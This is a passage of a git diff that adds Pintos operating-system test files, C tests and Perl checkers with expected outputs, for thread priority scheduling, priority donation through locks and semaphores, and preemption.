+(priority-donate-chain) thread 6 finishing with priority 18.
+(priority-donate-chain) interloper 6 finished.
+(priority-donate-chain) thread 5 finishing with priority 15.
+(priority-donate-chain) interloper 5 finished.
+(priority-donate-chain) thread 4 finishing with priority 12.
+(priority-donate-chain) interloper 4 finished.
+(priority-donate-chain) thread 3 finishing with priority 9.
+(priority-donate-chain) interloper 3 finished.
+(priority-donate-chain) thread 2 finishing with priority 6.
+(priority-donate-chain) interloper 2 finished.
+(priority-donate-chain) thread 1 finishing with priority 3.
+(priority-donate-chain) interloper 1 finished.
+(priority-donate-chain) main finishing with priority 0.
+(priority-donate-chain) end
+EOF
+pass;
diff --git a/src/tests/threads/priority-donate-lower.c b/src/tests/threads/priority-donate-lower.c
new file mode 100644
index 0000000..4965d75
--- /dev/null
+++ b/src/tests/threads/priority-donate-lower.c
@@ -0,0 +1,51 @@
+/* The main thread acquires a lock. Then it creates a
+ higher-priority thread that blocks acquiring the lock, causing
+ it to donate their priorities to the main thread. The main
+ thread attempts to lower its priority, which should not take
+ effect until the donation is released. */
+
+#include <stdio.h>
+#include "tests/threads/tests.h"
+#include "threads/init.h"
+#include "threads/synch.h"
+#include "threads/thread.h"
+
+static thread_func acquire_thread_func;
+
+void
+test_priority_donate_lower (void)
+{
+ struct lock lock;
+
+ /* This test does not work with the MLFQS. */
+ ASSERT (!thread_mlfqs);
+
+ /* Make sure our priority is the default. */
+ ASSERT (thread_get_priority () == PRI_DEFAULT);
+
+ lock_init (&lock);
+ lock_acquire (&lock);
+ thread_create ("acquire", PRI_DEFAULT + 10, acquire_thread_func, &lock);
+ msg ("Main thread should have priority %d. Actual priority: %d.",
+ PRI_DEFAULT + 10, thread_get_priority ());
+
+ msg ("Lowering base priority...");
+ thread_set_priority (PRI_DEFAULT - 10);
+ msg ("Main thread should have priority %d. Actual priority: %d.",
+ PRI_DEFAULT + 10, thread_get_priority ());
+ lock_release (&lock);
+ msg ("acquire must already have finished.");
+ msg ("Main thread should have priority %d. Actual priority: %d.",
+ PRI_DEFAULT - 10, thread_get_priority ());
+}
+
+static void
+acquire_thread_func (void *lock_)
+{
+ struct lock *lock = lock_;
+
+ lock_acquire (lock);
+ msg ("acquire: got the lock");
+ lock_release (lock);
+ msg ("acquire: done");
+}
diff --git a/src/tests/threads/priority-donate-lower.ck b/src/tests/threads/priority-donate-lower.ck
new file mode 100644
index 0000000..c9bb61b
--- /dev/null
+++ b/src/tests/threads/priority-donate-lower.ck
@@ -0,0 +1,16 @@
+# -*- perl -*-
+use strict;
+use warnings;
+use tests::tests;
+check_expected ([<<'EOF']);
+(priority-donate-lower) begin
+(priority-donate-lower) Main thread should have priority 41. Actual priority: 41.
+(priority-donate-lower) Lowering base priority...
+(priority-donate-lower) Main thread should have priority 41. Actual priority: 41.
+(priority-donate-lower) acquire: got the lock
+(priority-donate-lower) acquire: done
+(priority-donate-lower) acquire must already have finished.
+(priority-donate-lower) Main thread should have priority 21. Actual priority: 21.
+(priority-donate-lower) end
+EOF
+pass;
diff --git a/src/tests/threads/priority-donate-multiple.c b/src/tests/threads/priority-donate-multiple.c
new file mode 100644
index 0000000..df4689c
--- /dev/null
+++ b/src/tests/threads/priority-donate-multiple.c
@@ -0,0 +1,77 @@
+/* The main thread acquires locks A and B, then it creates two
+ higher-priority threads. Each of these threads blocks
+ acquiring one of the locks and thus donate their priority to
+ the main thread. The main thread releases the locks in turn
+ and relinquishes its donated priorities.
+
+ Based on a test originally submitted for Stanford's CS 140 in
+ winter 1999 by Matt Franklin <startled@leland.stanford.edu>,
+ Greg Hutchins <gmh@leland.stanford.edu>, Yu Ping Hu
+ <yph@cs.stanford.edu>. Modified by arens. */
+
+#include <stdio.h>
+#include "tests/threads/tests.h"
+#include "threads/init.h"
+#include "threads/synch.h"
+#include "threads/thread.h"
+
+static thread_func a_thread_func;
+static thread_func b_thread_func;
+
+void
+test_priority_donate_multiple (void)
+{
+ struct lock a, b;
+
+ /* This test does not work with the MLFQS. */
+ ASSERT (!thread_mlfqs);
+
+ /* Make sure our priority is the default. */
+ ASSERT (thread_get_priority () == PRI_DEFAULT);
+
+ lock_init (&a);
+ lock_init (&b);
+
+ lock_acquire (&a);
+ lock_acquire (&b);
+
+ thread_create ("a", PRI_DEFAULT + 1, a_thread_func, &a);
+ msg ("Main thread should have priority %d. Actual priority: %d.",
+ PRI_DEFAULT + 1, thread_get_priority ());
+
+ thread_create ("b", PRI_DEFAULT + 2, b_thread_func, &b);
+ msg ("Main thread should have priority %d. Actual priority: %d.",
+ PRI_DEFAULT + 2, thread_get_priority ());
+
+ lock_release (&b);
+ msg ("Thread b should have just finished.");
+ msg ("Main thread should have priority %d. Actual priority: %d.",
+ PRI_DEFAULT + 1, thread_get_priority ());
+
+ lock_release (&a);
+ msg ("Thread a should have just finished.");
+ msg ("Main thread should have priority %d. Actual priority: %d.",
+ PRI_DEFAULT, thread_get_priority ());
+}
+
+static void
+a_thread_func (void *lock_)
+{
+ struct lock *lock = lock_;
+
+ lock_acquire (lock);
+ msg ("Thread a acquired lock a.");
+ lock_release (lock);
+ msg ("Thread a finished.");
+}
+
+static void
+b_thread_func (void *lock_)
+{
+ struct lock *lock = lock_;
+
+ lock_acquire (lock);
+ msg ("Thread b acquired lock b.");
+ lock_release (lock);
+ msg ("Thread b finished.");
+}
diff --git a/src/tests/threads/priority-donate-multiple.ck b/src/tests/threads/priority-donate-multiple.ck
new file mode 100644
index 0000000..0afd20b
--- /dev/null
+++ b/src/tests/threads/priority-donate-multiple.ck
@@ -0,0 +1,19 @@
+# -*- perl -*-
+use strict;
+use warnings;
+use tests::tests;
+check_expected ([<<'EOF']);
+(priority-donate-multiple) begin
+(priority-donate-multiple) Main thread should have priority 32. Actual priority: 32.
+(priority-donate-multiple) Main thread should have priority 33. Actual priority: 33.
+(priority-donate-multiple) Thread b acquired lock b.
+(priority-donate-multiple) Thread b finished.
+(priority-donate-multiple) Thread b should have just finished.
+(priority-donate-multiple) Main thread should have priority 32. Actual priority: 32.
+(priority-donate-multiple) Thread a acquired lock a.
+(priority-donate-multiple) Thread a finished.
+(priority-donate-multiple) Thread a should have just finished.
+(priority-donate-multiple) Main thread should have priority 31. Actual priority: 31.
+(priority-donate-multiple) end
+EOF
+pass;
diff --git a/src/tests/threads/priority-donate-multiple2.c b/src/tests/threads/priority-donate-multiple2.c
new file mode 100644
index 0000000..7f65fef
--- /dev/null
+++ b/src/tests/threads/priority-donate-multiple2.c
@@ -0,0 +1,90 @@
+/* The main thread acquires locks A and B, then it creates three
+ higher-priority threads. The first two of these threads block
+ acquiring one of the locks and thus donate their priority to
+ the main thread. The main thread releases the locks in turn
+ and relinquishes its donated priorities, allowing the third thread
+ to run.
+
+ In this test, the main thread releases the locks in a different
+ order compared to priority-donate-multiple.c.
+
+ Written by Godmar Back <gback@cs.vt.edu>.
+ Based on a test originally submitted for Stanford's CS 140 in
+ winter 1999 by Matt Franklin <startled@leland.stanford.edu>,
+ Greg Hutchins <gmh@leland.stanford.edu>, Yu Ping Hu
+ <yph@cs.stanford.edu>. Modified by arens. */
+
+#include <stdio.h>
+#include "tests/threads/tests.h"
+#include "threads/init.h"
+#include "threads/synch.h"
+#include "threads/thread.h"
+
+static thread_func a_thread_func;
+static thread_func b_thread_func;
+static thread_func c_thread_func;
+
+void
+test_priority_donate_multiple2 (void)
+{
+ struct lock a, b;
+
+ /* This test does not work with the MLFQS. */
+ ASSERT (!thread_mlfqs);
+
+ /* Make sure our priority is the default. */
+ ASSERT (thread_get_priority () == PRI_DEFAULT);
+
+ lock_init (&a);
+ lock_init (&b);
+
+ lock_acquire (&a);
+ lock_acquire (&b);
+
+ thread_create ("a", PRI_DEFAULT + 3, a_thread_func, &a);
+ msg ("Main thread should have priority %d. Actual priority: %d.",
+ PRI_DEFAULT + 3, thread_get_priority ());
+
+ thread_create ("c", PRI_DEFAULT + 1, c_thread_func, NULL);
+
+ thread_create ("b", PRI_DEFAULT + 5, b_thread_func, &b);
+ msg ("Main thread should have priority %d. Actual priority: %d.",
+ PRI_DEFAULT + 5, thread_get_priority ());
+
+ lock_release (&a);
+ msg ("Main thread should have priority %d. Actual priority: %d.",
+ PRI_DEFAULT + 5, thread_get_priority ());
+
+ lock_release (&b);
+ msg ("Threads b, a, c should have just finished, in that order.");
+ msg ("Main thread should have priority %d. Actual priority: %d.",
+ PRI_DEFAULT, thread_get_priority ());
+}
+
+static void
+a_thread_func (void *lock_)
+{
+ struct lock *lock = lock_;
+
+ lock_acquire (lock);
+ msg ("Thread a acquired lock a.");
+ lock_release (lock);
+ msg ("Thread a finished.");
+}
+
+static void
+b_thread_func (void *lock_)
+{
+ struct lock *lock = lock_;
+
+ lock_acquire (lock);
+ msg ("Thread b acquired lock b.");
+ lock_release (lock);
+ msg ("Thread b finished.");
+}
+
+static void
+c_thread_func (void *a_ UNUSED)
+{
+ msg ("Thread c finished.");
+}
diff --git a/src/tests/threads/priority-donate-multiple2.ck b/src/tests/threads/priority-donate-multiple2.ck
new file mode 100644
index 0000000..b23533a
--- /dev/null
+++ b/src/tests/threads/priority-donate-multiple2.ck
@@ -0,0 +1,19 @@
+# -*- perl -*-
+use strict;
+use warnings;
+use tests::tests;
+check_expected ([<<'EOF']);
+(priority-donate-multiple2) begin
+(priority-donate-multiple2) Main thread should have priority 34. Actual priority: 34.
+(priority-donate-multiple2) Main thread should have priority 36. Actual priority: 36.
+(priority-donate-multiple2) Main thread should have priority 36. Actual priority: 36.
+(priority-donate-multiple2) Thread b acquired lock b.
+(priority-donate-multiple2) Thread b finished.
+(priority-donate-multiple2) Thread a acquired lock a.
+(priority-donate-multiple2) Thread a finished.
+(priority-donate-multiple2) Thread c finished.
+(priority-donate-multiple2) Threads b, a, c should have just finished, in that order.
+(priority-donate-multiple2) Main thread should have priority 31. Actual priority: 31.
+(priority-donate-multiple2) end
+EOF
+pass;
diff --git a/src/tests/threads/priority-donate-nest.c b/src/tests/threads/priority-donate-nest.c
new file mode 100644
index 0000000..3a3a9a5
--- /dev/null
+++ b/src/tests/threads/priority-donate-nest.c
@@ -0,0 +1,94 @@
+/* Low-priority main thread L acquires lock A. Medium-priority
+ thread M then acquires lock B then blocks on acquiring lock A.
+ High-priority thread H then blocks on acquiring lock B. Thus,
+ thread H donates its priority to M, which in turn donates it
+ to thread L.
+
+ Based on a test originally submitted for Stanford's CS 140 in
+ winter 1999 by Matt Franklin <startled@leland.stanford.edu>,
+ Greg Hutchins <gmh@leland.stanford.edu>, Yu Ping Hu
+ <yph@cs.stanford.edu>. Modified by arens. */
+
+#include <stdio.h>
+#include "tests/threads/tests.h"
+#include "threads/init.h"
+#include "threads/synch.h"
+#include "threads/thread.h"
+
+struct locks
+ {
+ struct lock *a;
+ struct lock *b;
+ };
+
+static thread_func medium_thread_func;
+static thread_func high_thread_func;
+
+void
+test_priority_donate_nest (void)
+{
+ struct lock a, b;
+ struct locks locks;
+
+ /* This test does not work with the MLFQS. */
+ ASSERT (!thread_mlfqs);
+
+ /* Make sure our priority is the default. */
+ ASSERT (thread_get_priority () == PRI_DEFAULT);
+
+ lock_init (&a);
+ lock_init (&b);
+
+ lock_acquire (&a);
+
+ locks.a = &a;
+ locks.b = &b;
+ thread_create ("medium", PRI_DEFAULT + 1, medium_thread_func, &locks);
+ thread_yield ();
+ msg ("Low thread should have priority %d. Actual priority: %d.",
+ PRI_DEFAULT + 1, thread_get_priority ());
+
+ thread_create ("high", PRI_DEFAULT + 2, high_thread_func, &b);
+ thread_yield ();
+ msg ("Low thread should have priority %d. Actual priority: %d.",
+ PRI_DEFAULT + 2, thread_get_priority ());
+
+ lock_release (&a);
+ thread_yield ();
+ msg ("Medium thread should just have finished.");
+ msg ("Low thread should have priority %d. Actual priority: %d.",
+ PRI_DEFAULT, thread_get_priority ());
+}
+
+static void
+medium_thread_func (void *locks_)
+{
+ struct locks *locks = locks_;
+
+ lock_acquire (locks->b);
+ lock_acquire (locks->a);
+
+ msg ("Medium thread should have priority %d. Actual priority: %d.",
+ PRI_DEFAULT + 2, thread_get_priority ());
+ msg ("Medium thread got the lock.");
+
+ lock_release (locks->a);
+ thread_yield ();
+
+ lock_release (locks->b);
+ thread_yield ();
+
+ msg ("High thread should have just finished.");
+ msg ("Middle thread finished.");
+}
+
+static void
+high_thread_func (void *lock_)
+{
+ struct lock *lock = lock_;
+
+ lock_acquire (lock);
+ msg ("High thread got the lock.");
+ lock_release (lock);
+ msg ("High thread finished.");
+}
diff --git a/src/tests/threads/priority-donate-nest.ck b/src/tests/threads/priority-donate-nest.ck
new file mode 100644
index 0000000..923460e
--- /dev/null
+++ b/src/tests/threads/priority-donate-nest.ck
@@ -0,0 +1,19 @@
+# -*- perl -*-
+use strict;
+use warnings;
+use tests::tests;
+check_expected ([<<'EOF']);
+(priority-donate-nest) begin
+(priority-donate-nest) Low thread should have priority 32. Actual priority: 32.
+(priority-donate-nest) Low thread should have priority 33. Actual priority: 33.
+(priority-donate-nest) Medium thread should have priority 33. Actual priority: 33.
+(priority-donate-nest) Medium thread got the lock.
+(priority-donate-nest) High thread got the lock.
+(priority-donate-nest) High thread finished.
+(priority-donate-nest) High thread should have just finished.
+(priority-donate-nest) Middle thread finished.
+(priority-donate-nest) Medium thread should just have finished.
+(priority-donate-nest) Low thread should have priority 31. Actual priority: 31.
+(priority-donate-nest) end
+EOF
+pass;
diff --git a/src/tests/threads/priority-donate-one.c b/src/tests/threads/priority-donate-one.c
new file mode 100644
index 0000000..3189f3a
--- /dev/null
+++ b/src/tests/threads/priority-donate-one.c
@@ -0,0 +1,65 @@
+/* The main thread acquires a lock. Then it creates two
+ higher-priority threads that block acquiring the lock, causing
+ them to donate their priorities to the main thread. When the
+ main thread releases the lock, the other threads should
+ acquire it in priority order.
+
+ Based on a test originally submitted for Stanford's CS 140 in
+ winter 1999 by Matt Franklin <startled@leland.stanford.edu>,
+ Greg Hutchins <gmh@leland.stanford.edu>, Yu Ping Hu
+ <yph@cs.stanford.edu>. Modified by arens. */
+
+#include <stdio.h>
+#include "tests/threads/tests.h"
+#include "threads/init.h"
+#include "threads/synch.h"
+#include "threads/thread.h"
+
+static thread_func acquire1_thread_func;
+static thread_func acquire2_thread_func;
+
+void
+test_priority_donate_one (void)
+{
+ struct lock lock;
+
+ /* This test does not work with the MLFQS. */
+ ASSERT (!thread_mlfqs);
+
+ /* Make sure our priority is the default. */
+ ASSERT (thread_get_priority () == PRI_DEFAULT);
+
+ lock_init (&lock);
+ lock_acquire (&lock);
+ thread_create ("acquire1", PRI_DEFAULT + 1, acquire1_thread_func, &lock);
+ msg ("This thread should have priority %d. Actual priority: %d.",
+ PRI_DEFAULT + 1, thread_get_priority ());
+ thread_create ("acquire2", PRI_DEFAULT + 2, acquire2_thread_func, &lock);
+ msg ("This thread should have priority %d. Actual priority: %d.",
+ PRI_DEFAULT + 2, thread_get_priority ());
+ lock_release (&lock);
+ msg ("acquire2, acquire1 must already have finished, in that order.");
+ msg ("This should be the last line before finishing this test.");
+}
+
+static void
+acquire1_thread_func (void *lock_)
+{
+ struct lock *lock = lock_;
+
+ lock_acquire (lock);
+ msg ("acquire1: got the lock");
+ lock_release (lock);
+ msg ("acquire1: done");
+}
+
+static void
+acquire2_thread_func (void *lock_)
+{
+ struct lock *lock = lock_;
+
+ lock_acquire (lock);
+ msg ("acquire2: got the lock");
+ lock_release (lock);
+ msg ("acquire2: done");
+}
diff --git a/src/tests/threads/priority-donate-one.ck b/src/tests/threads/priority-donate-one.ck
new file mode 100644
index 0000000..b7c8e6f
--- /dev/null
+++ b/src/tests/threads/priority-donate-one.ck
@@ -0,0 +1,17 @@
+# -*- perl -*-
+use strict;
+use warnings;
+use tests::tests;
+check_expected ([<<'EOF']);
+(priority-donate-one) begin
+(priority-donate-one) This thread should have priority 32. Actual priority: 32.
+(priority-donate-one) This thread should have priority 33. Actual priority: 33.
+(priority-donate-one) acquire2: got the lock
+(priority-donate-one) acquire2: done
+(priority-donate-one) acquire1: got the lock
+(priority-donate-one) acquire1: done
+(priority-donate-one) acquire2, acquire1 must already have finished, in that order.
+(priority-donate-one) This should be the last line before finishing this test.
+(priority-donate-one) end
+EOF
+pass;
diff --git a/src/tests/threads/priority-donate-sema.c b/src/tests/threads/priority-donate-sema.c
new file mode 100644
index 0000000..b33cb72
--- /dev/null
+++ b/src/tests/threads/priority-donate-sema.c
@@ -0,0 +1,82 @@
+/* Low priority thread L acquires a lock, then blocks downing a
+ semaphore. Medium priority thread M then blocks waiting on
+ the same semaphore. Next, high priority thread H attempts to
+ acquire the lock, donating its priority to L.
+
+ Next, the main thread ups the semaphore, waking up L. L
+ releases the lock, which wakes up H. H "up"s the semaphore,
+ waking up M. H terminates, then M, then L, and finally the
+ main thread.
+
+ Written by Godmar Back <gback@cs.vt.edu>. */
+
+#include <stdio.h>
+#include "tests/threads/tests.h"
+#include "threads/init.h"
+#include "threads/synch.h"
+#include "threads/thread.h"
+
+struct lock_and_sema
+ {
+ struct lock lock;
+ struct semaphore sema;
+ };
+
+static thread_func l_thread_func;
+static thread_func m_thread_func;
+static thread_func h_thread_func;
+
+void
+test_priority_donate_sema (void)
+{
+ struct lock_and_sema ls;
+
+ /* This test does not work with the MLFQS. */
+ ASSERT (!thread_mlfqs);
+
+ /* Make sure our priority is the default. */
+ ASSERT (thread_get_priority () == PRI_DEFAULT);
+
+ lock_init (&ls.lock);
+ sema_init (&ls.sema, 0);
+ thread_create ("low", PRI_DEFAULT + 1, l_thread_func, &ls);
+ thread_create ("med", PRI_DEFAULT + 3, m_thread_func, &ls);
+ thread_create ("high", PRI_DEFAULT + 5, h_thread_func, &ls);
+ sema_up (&ls.sema);
+ msg ("Main thread finished.");
+}
+
+static void
+l_thread_func (void *ls_)
+{
+ struct lock_and_sema *ls = ls_;
+
+ lock_acquire (&ls->lock);
+ msg ("Thread L acquired lock.");
+ sema_down (&ls->sema);
+ msg ("Thread L downed semaphore.");
+ lock_release (&ls->lock);
+ msg ("Thread L finished.");
+}
+
+static void
+m_thread_func (void *ls_)
+{
+ struct lock_and_sema *ls = ls_;
+
+ sema_down (&ls->sema);
+ msg ("Thread M finished.");
+}
+
+static void
+h_thread_func (void *ls_)
+{
+ struct lock_and_sema *ls = ls_;
+
+ lock_acquire (&ls->lock);
+ msg ("Thread H acquired lock.");
+
+ sema_up (&ls->sema);
+ lock_release (&ls->lock);
+ msg ("Thread H finished.");
+}
diff --git a/src/tests/threads/priority-donate-sema.ck b/src/tests/threads/priority-donate-sema.ck
new file mode 100644
index 0000000..92b8d07
--- /dev/null
+++ b/src/tests/threads/priority-donate-sema.ck
@@ -0,0 +1,16 @@
+# -*- perl -*-
+use strict;
+use warnings;
+use tests::tests;
+check_expected ([<<'EOF']);
+(priority-donate-sema) begin
+(priority-donate-sema) Thread L acquired lock.
+(priority-donate-sema) Thread L downed semaphore.
+(priority-donate-sema) Thread H acquired lock.
+(priority-donate-sema) Thread H finished.
+(priority-donate-sema) Thread M finished.
+(priority-donate-sema) Thread L finished.
+(priority-donate-sema) Main thread finished.
+(priority-donate-sema) end
+EOF
+pass;
diff --git a/src/tests/threads/priority-fifo.c b/src/tests/threads/priority-fifo.c
new file mode 100644
index 0000000..3af98a3
--- /dev/null
+++ b/src/tests/threads/priority-fifo.c
@@ -0,0 +1,99 @@
+/* Creates several threads all at the same priority and ensures
+ that they consistently run in the same round-robin order.
+
+ Based on a test originally submitted for Stanford's CS 140 in
+ winter 1999 by by Matt Franklin
+ <startled@leland.stanford.edu>, Greg Hutchins
+ <gmh@leland.stanford.edu>, Yu Ping Hu <yph@cs.stanford.edu>.
+ Modified by arens. */
+
+#include <stdio.h>
+#include "tests/threads/tests.h"
+#include "threads/init.h"
+#include "devices/timer.h"
+#include "threads/malloc.h"
+#include "threads/synch.h"
+#include "threads/thread.h"
+
+struct simple_thread_data
+ {
+ int id; /* Sleeper ID. */
+ int iterations; /* Iterations so far. */
+ struct lock *lock; /* Lock on output. */
+ int **op; /* Output buffer position. */
+ };
+
+#define THREAD_CNT 16
+#define ITER_CNT 16
+
+static thread_func simple_thread_func;
+
+void
+test_priority_fifo (void)
+{
+ struct simple_thread_data data[THREAD_CNT];
+ struct lock lock;
+ int *output, *op;
+ int i, cnt;
+
+ /* This test does not work with the MLFQS. */
+ ASSERT (!thread_mlfqs);
+
+ /* Make sure our priority is the default. */
+ ASSERT (thread_get_priority () == PRI_DEFAULT);
+
+ msg ("%d threads will iterate %d times in the same order each time.",
+ THREAD_CNT, ITER_CNT);
+ msg ("If the order varies then there is a bug.");
+
+ output = op = malloc (sizeof *output * THREAD_CNT * ITER_CNT * 2);
+ ASSERT (output != NULL);
+ lock_init (&lock);
+
+ thread_set_priority (PRI_DEFAULT + 2);
+ for (i = 0; i < THREAD_CNT; i++)
+ {
+ char name[16];
+ struct simple_thread_data *d = data + i;
+ snprintf (name, sizeof name, "%d", i);
+ d->id = i;
+ d->iterations = 0;
+ d->lock = &lock;
+ d->op = &op;
+ thread_create (name, PRI_DEFAULT + 1, simple_thread_func, d);
+ }
+
+ thread_set_priority (PRI_DEFAULT);
+ /* All the other threads now run to termination here. */
+ ASSERT (lock.holder == NULL);
+
+ cnt = 0;
+ for (; output < op; output++)
+ {
+ struct simple_thread_data *d;
+
+ ASSERT (*output >= 0 && *output < THREAD_CNT);
+ d = data + *output;
+ if (cnt % THREAD_CNT == 0)
+ printf ("(priority-fifo) iteration:");
+ printf (" %d", d->id);
+ if (++cnt % THREAD_CNT == 0)
+ printf ("\n");
+ d->iterations++;
+ }
+}
+
+static void
+simple_thread_func (void *data_)
+{
+ struct simple_thread_data *data = data_;
+ int i;
+
+ for (i = 0; i < ITER_CNT; i++)
+ {
+ lock_acquire (data->lock);
+ *(*data->op)++ = data->id;
+ lock_release (data->lock);
+ thread_yield ();
+ }
+}
diff --git a/src/tests/threads/priority-fifo.ck b/src/tests/threads/priority-fifo.ck
new file mode 100644
index 0000000..11f1dd3
--- /dev/null
+++ b/src/tests/threads/priority-fifo.ck
@@ -0,0 +1,63 @@
+# -*- perl -*-
+
+# The expected output looks like this:
+#
+# (priority-fifo) iteration: 0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
+# (priority-fifo) iteration: 0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
+# (priority-fifo) iteration: 0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
+# (priority-fifo) iteration: 0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
+# (priority-fifo) iteration: 0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
+# (priority-fifo) iteration: 0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
+# (priority-fifo) iteration: 0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
+# (priority-fifo) iteration: 0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
+# (priority-fifo) iteration: 0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
+# (priority-fifo) iteration: 0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
+# (priority-fifo) iteration: 0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
+# (priority-fifo) iteration: 0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
+# (priority-fifo) iteration: 0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
+# (priority-fifo) iteration: 0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
+# (priority-fifo) iteration: 0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
+# (priority-fifo) iteration: 0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
+#
+# A different permutation of 0...15 is acceptable, but every line must
+# be in the same order.
+
+use strict;
+use warnings;
+use tests::tests;
+
+our ($test);
+my (@output) = read_text_file ("$test.output");
+
+common_checks ("run", @output);
+
+my ($thread_cnt) = 16;
+my ($iter_cnt) = 16;
+my (@order);
+my (@t) = (-1) x $thread_cnt;
+
+my (@iterations) = grep (/iteration:/, @output);
+fail "No iterations found in output.\n" if !@iterations;
+
+my (@numbering) = $iterations[0] =~ /(\d+)/g;
+fail "First iteration does not list exactly $thread_cnt threads.\n"
+ if @numbering != $thread_cnt;
+
+my (@sorted_numbering) = sort { $a <=> $b } @numbering;
+for my $i (0...$#sorted_numbering) {
+ if ($sorted_numbering[$i] != $i) {
+ fail "First iteration does not list all threads "
+ . "0...$#sorted_numbering\n";
+ }
+}
+
+for my $i (1...$#iterations) {
+ if ($iterations[$i] ne $iterations[0]) {
+ fail "Iteration $i differs from iteration 0\n";
+ }
+}
+
+fail "$iter_cnt iterations expected but " . scalar (@iterations) . " found\n"
+ if $iter_cnt != @iterations;
+
+pass;
diff --git a/src/tests/threads/priority-preempt.c b/src/tests/threads/priority-preempt.c
new file mode 100644
index 0000000..3c3aacb
--- /dev/null
+++ b/src/tests/threads/priority-preempt.c
@@ -0,0 +1,41 @@
+/* Ensures that a high-priority thread really preempts.
+
+ Based on a test originally submitted for Stanford's CS 140 in
+ winter 1999 by by Matt Franklin
+ <startled@leland.stanford.edu>, Greg Hutchins
+ <gmh@leland.stanford.edu>, Yu Ping Hu <yph@cs.stanford.edu>.
+ Modified by arens. */
+
+#include <stdio.h>
+#include "tests/threads/tests.h"
+#include "threads/init.h"
+#include "threads/synch.h"
+#include "threads/thread.h"
+
+static thread_func simple_thread_func;
+
+void
+test_priority_preempt (void)
+{
+ /* This test does not work with the MLFQS. */
+ ASSERT (!thread_mlfqs);
+
+ /* Make sure our priority is the default. */
+ ASSERT (thread_get_priority () == PRI_DEFAULT);
+
+ thread_create ("high-priority", PRI_DEFAULT + 1, simple_thread_func, NULL);
+ msg ("The high-priority thread should have already completed.");
+}
+
+static void
+simple_thread_func (void *aux UNUSED)
+{
+ int i;
+
+ for (i = 0; i < 5; i++)
+ {
+ msg ("Thread %s iteration %d", thread_name (), i);
+ thread_yield ();
+ }
+ msg ("Thread %s done!", thread_name ());
+}
diff --git a/src/tests/threads/priority-preempt.ck b/src/tests/threads/priority-preempt.ck
new file mode 100644
index 0000000..43a26ee
--- /dev/null
+++ b/src/tests/threads/priority-preempt.ck
@@ -0,0 +1,16 @@
+# -*- perl -*-
+use strict;
+use warnings;
+use tests::tests;
+check_expected ([<<'EOF']);
+(priority-preempt) begin
+(priority-preempt) Thread high-priority iteration 0
+(priority-preempt) Thread high-priority iteration 1
+(priority-preempt) Thread high-priority iteration 2
+(priority-preempt) Thread high-priority iteration 3
+(priority-preempt) Thread high-priority iteration 4
+(priority-preempt) Thread high-priority done!
+(priority-preempt) The high-priority thread should have already completed.
+(priority-preempt) end
+EOF
+pass;
diff --git a/src/tests/threads/priority-sema.c b/src/tests/threads/priority-sema.c
new file mode 100644
index 0000000..2834a88
--- /dev/null
+++ b/src/tests/threads/priority-sema.c
@@ -0,0 +1,45 @@
+/* Tests that the highest-priority thread waiting on a semaphore
+ is the first to wake up. */
+
+#include <stdio.h>
+#include "tests/threads/tests.h"
+#include "threads/init.h"
+#include "threads/malloc.h"
+#include "threads/synch.h"
+#include "threads/thread.h"
+#include "devices/timer.h"
+
+static thread_func priority_sema_thread;
+static struct semaphore sema;
+
+void
+test_priority_sema (void)
+{
+ int i;
+
+ /* This test does not work with the MLFQS. */
+ ASSERT (!thread_mlfqs);
+
+ sema_init (&sema, 0);
+ thread_set_priority (PRI_MIN);
+ for (i = 0; i < 10; i++)
+ {
+ int priority = PRI_DEFAULT - (i + 3) % 10 - 1;
+ char name[16];
+ snprintf (name, sizeof name, "priority %d", priority);
+ thread_create (name, priority, priority_sema_thread, NULL);
+ }
+
+ for (i = 0; i < 10; i++)
+ {
+ sema_up (&sema);
+ msg ("Back in main thread.");
+ }
+}
+
+static void
+priority_sema_thread (void *aux UNUSED)
+{
+ sema_down (&sema);
+ msg ("Thread %s woke up.", thread_name ());
+}
diff --git a/src/tests/threads/priority-sema.ck b/src/tests/threads/priority-sema.ck
new file mode 100644
index 0000000..559988d
--- /dev/null
+++ b/src/tests/threads/priority-sema.ck
@@ -0,0 +1,29 @@
+# -*- perl -*-
+use strict;
+use warnings;
+use tests::tests;
+check_expected ([<<'EOF']);
+(priority-sema) begin
+(priority-sema) Thread priority 30 woke up.
+(priority-sema) Back in main thread.
+(priority-sema) Thread priority 29 woke up.
+(priority-sema) Back in main thread.
+(priority-sema) Thread priority 28 woke up.
+(priority-sema) Back in main thread.
+(priority-sema) Thread priority 27 woke up.
+(priority-sema) Back in main thread.
+(priority-sema) Thread priority 26 woke up.
+(priority-sema) Back in main thread.
+(priority-sema) Thread priority 25 woke up.
+(priority-sema) Back in main thread.
+(priority-sema) Thread priority 24 woke up.
+(priority-sema) Back in main thread.
+(priority-sema) Thread priority 23 woke up.
+(priority-sema) Back in main thread.
+(priority-sema) Thread priority 22 woke up.
+(priority-sema) Back in main thread.
+(priority-sema) Thread priority 21 woke up.
+(priority-sema) Back in main thread.
+(priority-sema) end
+EOF
+pass;
diff --git a/src/tests/threads/simplethreadtest.c b/src/tests/threads/simplethreadtest.c
new file mode 100644
index 0000000..f9c058e
--- /dev/null
+++ b/src/tests/threads/simplethreadtest.c
@@ -0,0 +1,68 @@
+// threadtest.cc
+// Simple test case for the threads assignment.
+//
+// Create two threads, and have them context switch
+// back and forth between themselves by calling Thread::Yield,
+// to illustratethe inner workings of the thread system.
+//
+// Copyright (c) 1992-1993 The Regents of the University of California.
+// All rights reserved. See copyright.h for copyright notice and limitation
+// of liability and disclaimer of warranty provisions.
+//
+// Modified by Viacheslav Izosimov
+// - transition from C++ to C (from Nachos to Pintos)
+
+
+//#include "copyright.h"
+//#include "system.h"
+#include "threads/boundedbuffer.h"
+#include "threads/malloc.h"
+#include "threads/synch.h"
+#include "threads/thread.h"
+#include "tests/threads/tests.h"
